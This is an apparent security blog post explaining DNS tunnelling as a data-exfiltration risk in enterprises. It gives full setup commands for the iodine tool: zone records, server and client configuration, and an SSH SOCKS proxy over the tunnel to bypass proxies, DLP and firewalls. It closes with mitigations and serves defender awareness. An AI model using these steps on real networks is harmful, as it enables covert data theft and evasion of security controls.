DNS TUNNELLING – Stealing Data over DNS
Written By: Andy Pantelli
DNS – We all know it, we all need it. After all, it is the ‘phone book’ of the internet. But how much is being done within organisations to protect themselves from attacks over the DNS protocol? How much is even known about the potentially devastating Cyber Attacks that are exposed by not taking some simple steps to protect DNS within Enterprises?
This article is focused on risks in the Enterprise world, where IT teams should be keeping the business safe with best practise & procedures.
Where’s the risk?
We’ve already stated that we need DNS, in fact life online without it would be impossible without DNS especially outside the Enterprise world. As with all things IT, protecting DNS is subjective. It really boils down to individuals, or teams understanding, or knowledge of the attack vector.
Some Professionals will take DNS security seriously, whilst other organisations & people within their teams will discount the risk or think of securing DNS as being low down on their list of ‘things to do.’ What is clear though is that many organisations do not inspect DNS traffic, and that many professionals do not understand the ease or scale of DNS attacks. Let us be clear, exploiting vulnerabilities using DNS is a risk. Whether an organisation realises or not. It can used to deliver malware, Ransomware Command & Control (CnC), and for Data Exfiltration. Any or all of which go unseen.
From the reasonably ‘tech savvy’ employee bypassing the Web Proxy to illegally stream copyrighted material online exposing the business to legal liability, or the same person just wanting to bypass the proxy because he or she can. These represent the average endusers. The malicious intent isn’t really there but nevertheless the risk to the business is just as high. Web Content blocking configured on the Enterprise Proxy is there for a reason.
Accessing content without going through the Proxy means that the applications in those packets are not inspected. The shiny, new & expensive Web Proxy is taking the day off for these users. This is where the business is exposed to the risk of malware, or Ransomware CnC.
The next use case is the malicious insider, or external threat looking to steal your confidential business data along DNS. A number of tools exist, anyone that has studied Cisco CCNA Cyber Security will be aware of DNSCat2, Iodine, Heyoka, OzymanDNS to name but a few.
So just how easy is it? The answer is, very.
Requirements: Server, Domain, & Client
Server IP
– for learning & PoC purposes, AWS Free Tier fits the requirement perfectly to provide you with a disposable Cloud Server. You’ll also need the Server IP which the free tier also provides dynamically. Choosing AWS static IP, or opensource dynamicDNS is also a possibility.
Domain
Free Domain Services are available, and for our purpose the Domain Name is irrelevant:
in this example I could choose iodineDNS.tk or any of the other options, but it’s not important is all you need to know.
Configure your DNS Zone Configuration:
| Name | Type | Value |
| iodineDNS.tk | NS | tunnelDNS.iodineDNS.tk |
| tunnelDNS | A | <YOUR SERVER IP> |
SERVER CONFIG – SSH to your Server IP
Debian based distro:
sudo apt-get update
sudo apt-get install –y iodine
sudo iodined –fcP <password> <10.0.0.10> tunnelDNS.iodineDNS.tk
-f option run in the foreground
-c disable client ip checking for incoming requests
-P authenticates the client <> server shared secret
10.0.0.10 is the Server IP that will be given on the
client tunnel interface (think GRE tunnel)
enable iodine to run at boot:
update-rc.d iodine enable & service iodine start
to start the service now. This will silently fail however until we set up the arguments to the daemon in the /etc/defaults/iodine file. In this file, we have to set the following;
START_IODINED to true
IODINED_ARGS to -c 10.0.0.10 <yourdomain>
IODINED_PASSWORD to <yourpassword>
Running the process as a Service has the benefit of running as the iodine user added at install
CLIENT CONFIG
Assuming the Client is a Linux box then simply run the iodine setup in the same method used above then run;
iodine –f –r <yourserverip> <tunnelDNS.iodineDNS.tk>
enter password when prompted
If your client is a Windows machine, download the latest installer from
https://code.kryo.se/iodine/
PROXYING TRAFFIC USING IODINE
Once all the requirements are on place, to proxy traffic using iodine create an ssh tunnel on the Server from the Client to create the SOCKs proxy;
ssh [email protected] –D –N 8080
flags
-N flag is set to instruct SSH not to start a shell
-D flag sets up the dynamic port forwarding, in this use case port 8080
10.0.0.10 is the Server tunnel IP address which we configured earlier
That’s it, from this point we can browse the internet over the DNS tunnel without any security controls. More to the point, we can extract data from the client and transfer to the Server without DLP Engines, NextGen Firewalls, IDS or IPS being able to inspect or restrict the traffic.
Simple in design, and easy to set up. It’s that simple to steal confidential Enterprise Data over DNS. Any Sysadmin or Security Professionals responsible for securing your environment, should in my view take DNS Security extremely seriously and implement controls such as DNSec which can provide protections against DNS poisoning or manipulating DNS responses, consider DNS sinkhole configurations or Application aware inspection to ensure that the traffic your Firewall can see is the traffic which is being used.
Note: This article is not written to provide a guide on bypassing security controls, the intention is help Security Professionals understand the risk exposed of DNS tunnelling and ensuring that the necessary controls are configured to prevent this.
Iodine courtesy of https://code.kryo.se/iodine/
